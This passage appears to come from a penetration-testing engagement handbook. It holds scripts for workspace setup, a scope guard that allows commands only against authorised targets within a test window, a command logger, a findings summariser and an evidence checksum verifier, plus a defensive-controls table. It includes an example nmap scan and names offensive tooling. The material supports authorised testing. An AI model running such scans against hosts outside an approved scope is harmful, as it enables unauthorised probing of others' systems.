awk '{print $1}' web-surface.txt | sed -E 's#https?://##; s#[:/].*##' | sort -u
```

## Scripts

Workspace bootstrap: creates the engagement structure with restrictive permissions, starter scope files and ledgers. Run it on an encrypted volume approved for client data.

```sh
#!/usr/bin/env bash
# usage: engagement-init.sh ACME-2026-09
set -euo pipefail
(( $# == 1 )) || { echo "usage: $0 engagement-name" >&2; exit 2; }
[[ $1 =~ ^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$ ]] || { echo 'invalid engagement name' >&2; exit 2; }

umask 077
root=$1
[[ ! -e $root ]] || { printf 'refusing to overwrite %s\n' "$root" >&2; exit 1; }
mkdir -p "$root"/{scope,evidence/raw,evidence/screenshots,notes,findings,report}
touch "$root"/scope/{in-scope.txt,exclusions.txt,rules-of-engagement.md}
printf 'time_utc\tactor\taction\tasset\tresult\tevidence\n' > "$root/notes/timeline.tsv"
printf 'created_at\ttype\tidentifier\towner\tremoval_reference\tstatus\tverified_at\n' > "$root/notes/cleanup.tsv"
printf '%s\n' "$root created with mode 0700"
chmod 0700 "$root"
```

Scope guard: validates explicit IP addresses and hostnames against allow-list entries containing IP addresses, IPv4/IPv6 networks and hostnames. It gives exclusions precedence, checks an ISO 8601 UTC test window, and executes the command without a shell. It deliberately does not guess targets from command arguments or accept a whole CIDR as one target. Expand an approved range and validate each address. Every target must be supplied with `--target`; omission is easier to review than unreliable inference.

```python
#!/usr/bin/env python3
"""Run a command only when every declared target is currently in scope."""

from __future__ import annotations

import argparse
import datetime as dt
import ipaddress
import os
from pathlib import Path
import socket
import subprocess
import sys


def entries(path: Path) -> list[str]:
    try:
        lines = path.read_text(encoding="utf-8").splitlines()
    except OSError as exc:
        raise SystemExit(f"REFUSED: cannot read {path}: {exc}") from exc
    return [line.split("#", 1)[0].strip().rstrip(".").lower() for line in lines if line.split("#", 1)[0].strip()]


def instant(name: str) -> dt.datetime:
    value = os.environ.get(name, "")
    if not value:
        raise SystemExit(f"REFUSED: {name} is not set")
    try:
        parsed = dt.datetime.fromisoformat(value.replace("Z", "+00:00"))
    except ValueError as exc:
        raise SystemExit(f"REFUSED: {name} must be ISO 8601, for example 2026-09-27T00:00:00Z") from exc
    if parsed.tzinfo is None:
        raise SystemExit(f"REFUSED: {name} must include a UTC offset")
    return parsed.astimezone(dt.UTC)


def addresses(value: str) -> set[ipaddress.IPv4Address | ipaddress.IPv6Address]:
    try:
        return {ipaddress.ip_address(value)}
    except ValueError:
        try:
            results = socket.getaddrinfo(value, None, type=socket.SOCK_STREAM)
        except socket.gaierror as exc:
            raise SystemExit(f"REFUSED: cannot resolve {value}: {exc}") from exc
        return {ipaddress.ip_address(result[4][0]) for result in results}


def parse_network(value: str) -> ipaddress.IPv4Network | ipaddress.IPv6Network | None:
    try:
        return ipaddress.ip_network(value, strict=False)
    except ValueError:
        return None


def matches(
    target: str,
    target_addresses: set[ipaddress.IPv4Address | ipaddress.IPv6Address],
    rules: list[str],
) -> bool:
    for rule in rules:
        if target == rule:
            return True
        network = parse_network(rule)
        if network is not None and any(address in network for address in target_addresses):
            return True
        if network is None and "/" not in rule:
            try:
                if target_addresses & addresses(rule):
                    return True
            except SystemExit:
                continue
    return False


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--scope-dir", type=Path, default=Path("scope"))
    parser.add_argument("--target", action="append", required=True)
    parser.add_argument("command", nargs=argparse.REMAINDER)
    args = parser.parse_args()

    now = dt.datetime.now(dt.UTC)
    if not instant("WINDOW_START") <= now <= instant("WINDOW_END"):
        raise SystemExit("REFUSED: outside the authorised test window")
    if not args.command or args.command[0] != "--" or len(args.command) == 1:
        raise SystemExit("REFUSED: command must follow --")

    allowed = entries(args.scope_dir / "in-scope.txt")
    excluded = entries(args.scope_dir / "exclusions.txt")
    for original in args.target:
        target = original.rstrip(".").lower()
        resolved = addresses(target)
        if matches(target, resolved, excluded):
            raise SystemExit(f"REFUSED: excluded target {original}")
        if not matches(target, resolved, allowed):
            raise SystemExit(f"REFUSED: target is not in scope: {original}")

    return subprocess.run(args.command[1:], check=False).returncode


if __name__ == "__main__":
    sys.exit(main())
```

```sh
export WINDOW_START=2026-09-27T00:00:00Z
export WINDOW_END=2026-09-27T08:00:00Z
./scope-guard.py --target app.example.com -- \
  nmap -sT -Pn -p 443 app.example.com
```

Review the resolved addresses printed by the underlying tool as part of the evidence. DNS can change between validation and connection, so high-risk engagements should pin approved address records or enforce the same allow-list at the test-host firewall.

Engagement logger: wraps a command, records an unambiguous shell-escaped invocation, captures stdout and stderr, hashes the output and appends JSON Lines metadata. It does not record environment variables because they may contain credentials.

```sh
#!/usr/bin/env bash
# usage: run.sh nmap -sT -Pn 192.0.2.10
set -euo pipefail
(( $# > 0 )) || { echo "usage: $0 command [argument ...]" >&2; exit 2; }
mkdir -p evidence/runs
stamp=$(date -u +%Y%m%dT%H%M%SZ)
slug=$(printf '%s' "$1" | tr -c 'A-Za-z0-9._-' '-' | cut -c1-40)
out="evidence/runs/${stamp}_${slug}_$$.log"

{
  printf '# command:'
  printf ' %q' "$@"
  printf '\n# started: %s\n# host:    %s\n\n' "$stamp" "$(hostname)"
} > "$out"

set +e
"$@" > >(tee -a "$out") 2> >(tee -a "$out" >&2)
rc=$?
set -e

finished=$(date -u +%FT%TZ)
printf '\n# finished: %s\n# exit:     %d\n' "$finished" "$rc" >> "$out"
sha256=$(sha256sum "$out" | cut -d' ' -f1)
command_json=$(printf '%s\0' "$@" | jq -Rs 'split("\u0000")[:-1]')
jq -cn \
  --arg started "$stamp" \
  --arg finished "$finished" \
  --arg host "$(hostname)" \
  --arg output "$out" \
  --arg sha256 "$sha256" \
  --argjson exit_code "$rc" \
  --argjson command "$command_json" \
  '{started:$started,finished:$finished,host:$host,command:$command,exit_code:$exit_code,output:$output,sha256:$sha256}' \
  >> evidence/index.jsonl
printf '%s  %s\n' "$sha256" "$out" >> evidence/SHA256SUMS
exit "$rc"
```

The logger records secrets if they are command-line arguments. Prefer environment variables, standard input or a protected credential file supported by the tool. Before sharing evidence, inspect both the log and metadata and redact a copy. Preserve the original according to the evidence-handling agreement.

Findings summary: turns the running `evidence/findings.tsv` (`severity<TAB>title<TAB>asset<TAB>detected`) into a Markdown table ordered by severity, ready to paste into the report draft. Read-only.

```sh
#!/usr/bin/env bash
# usage: findings-summary.sh evidence/findings.tsv > report/summary.md
set -euo pipefail
f=${1:?findings tsv (severity<TAB>title<TAB>asset<TAB>detected)}

rank() { case ${1,,} in critical) echo 0;; high) echo 1;; medium) echo 2;; low) echo 3;; *) echo 4;; esac; }

printf '| Severity | Finding | Affected asset | Detected |\n| --- | --- | --- | --- |\n'
while IFS=$'\t' read -r sev title asset detected; do
  [[ -z ${sev:-} || $sev == severity ]] && continue
  printf '%d\t%s\t%s\t%s\t%s\n' "$(rank "$sev")" "$sev" "$title" "$asset" "$detected"
done < "$f" | sort -n | cut -f2- | while IFS=$'\t' read -r sev title asset detected; do
  # escape any pipe so the Markdown table renders
  printf '| %s | %s | %s | %s |\n' "$sev" "${title//|/\\|}" "${asset//|/\\|}" "${detected:-not tested}"
done

printf '\n_%d findings, generated %s._\n' "$(grep -vc '^severity' "$f")" "$(date -u +%F)"
```

Evidence verifier: rebuilds the checksum manifest in deterministic path order, or verifies it later. Run `create` only after raw evidence collection has stopped; subsequent changes should fail verification and be explained as a new evidence version.

```python
#!/usr/bin/env python3
"""Create or verify SHA-256 hashes for an evidence directory."""

from __future__ import annotations

import argparse
import hashlib
from pathlib import Path
import sys


def digest(path: Path) -> str:
    value = hashlib.sha256()
    with path.open("rb") as handle:
        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
            value.update(chunk)
    return value.hexdigest()


def files(root: Path, manifest: Path) -> list[Path]:
    found: list[Path] = []
    for path in root.rglob("*"):
        if path.is_symlink():
            raise SystemExit(f"refusing symlink in evidence tree: {path}")
        if path.is_file() and path != manifest:
            found.append(path)
    return sorted(found)


def create(root: Path, manifest: Path) -> int:
    with manifest.open("w", encoding="utf-8", newline="\n") as handle:
        for path in files(root, manifest):
            handle.write(f"{digest(path)}  {path.relative_to(root).as_posix()}\n")
    print(f"wrote {manifest}")
    return 0


def verify(root: Path, manifest: Path) -> int:
    failed = False
    listed: set[str] = set()
    root_resolved = root.resolve()
    for line_number, line in enumerate(manifest.read_text(encoding="utf-8").splitlines(), 1):
        try:
            expected, relative = line.split("  ", 1)
        except ValueError:
            print(f"line {line_number}: malformed", file=sys.stderr)
            failed = True
            continue
        path = root / relative
        try:
            path.resolve().relative_to(root_resolved)
        except ValueError:
            print(f"FAILED  unsafe path: {relative}", file=sys.stderr)
            failed = True
            continue
        listed.add(relative)
        if path.is_symlink() or not path.is_file() or digest(path) != expected:
            print(f"FAILED  {relative}", file=sys.stderr)
            failed = True
        else:
            print(f"OK      {relative}")
    actual = {path.relative_to(root).as_posix() for path in files(root, manifest)}
    for relative in sorted(actual - listed):
        print(f"FAILED  unmanifested: {relative}", file=sys.stderr)
        failed = True
    return int(failed)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("action", choices=("create", "verify"))
    parser.add_argument("root", type=Path, nargs="?", default=Path("evidence"))
    args = parser.parse_args()
    manifest = args.root / "SHA256SUMS"
    if args.action == "create":
        args.root.mkdir(parents=True, exist_ok=True)
        return create(args.root, manifest)
    if not manifest.is_file():
        raise SystemExit(f"missing manifest: {manifest}")
    return verify(args.root, manifest)


if __name__ == "__main__":
    sys.exit(main())
```

## Further reading

- [MITRE ATT&CK](https://attack.mitre.org/): the technique catalogue the detection columns and report should map to.
- [Penetration Testing Execution Standard](http://www.pentest-standard.org/): scoping, engagement structure and reporting.
- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/): methodology for the web surface.
- [NIST SP 800-115](https://csrc.nist.gov/pubs/sp/800/115/final): technical guide to information security testing and assessment.
- Tool documentation: [Nmap reference guide](https://nmap.org/book/man.html), [BloodHound docs](https://bloodhound.readthedocs.io/), [Impacket](https://github.com/fortra/impacket) and [NetExec](https://www.netexec.wiki/).

## Defensive counterpart

Every technique above has a control worth verifying while you are there:

| Area | Control |
| --- | --- |
| Identity | MFA everywhere, no reused local admin passwords (LAPS), tiered admin accounts |
| Kerberos | Managed service accounts, AES only, no unconstrained delegation |
| Endpoint | EDR with tamper protection, application allow-listing, LSASS protection |
| Network | Egress filtering, internal segmentation, no flat management VLAN |
| Cloud | IMDSv2, least-privilege roles, no long-lived keys, CloudTrail with alerting |
| Kubernetes | Pod Security admission, no privileged workloads, audit log shipped and alerted |
| Detection | Alerts for spraying, DCSync, new services, and outbound beacons |


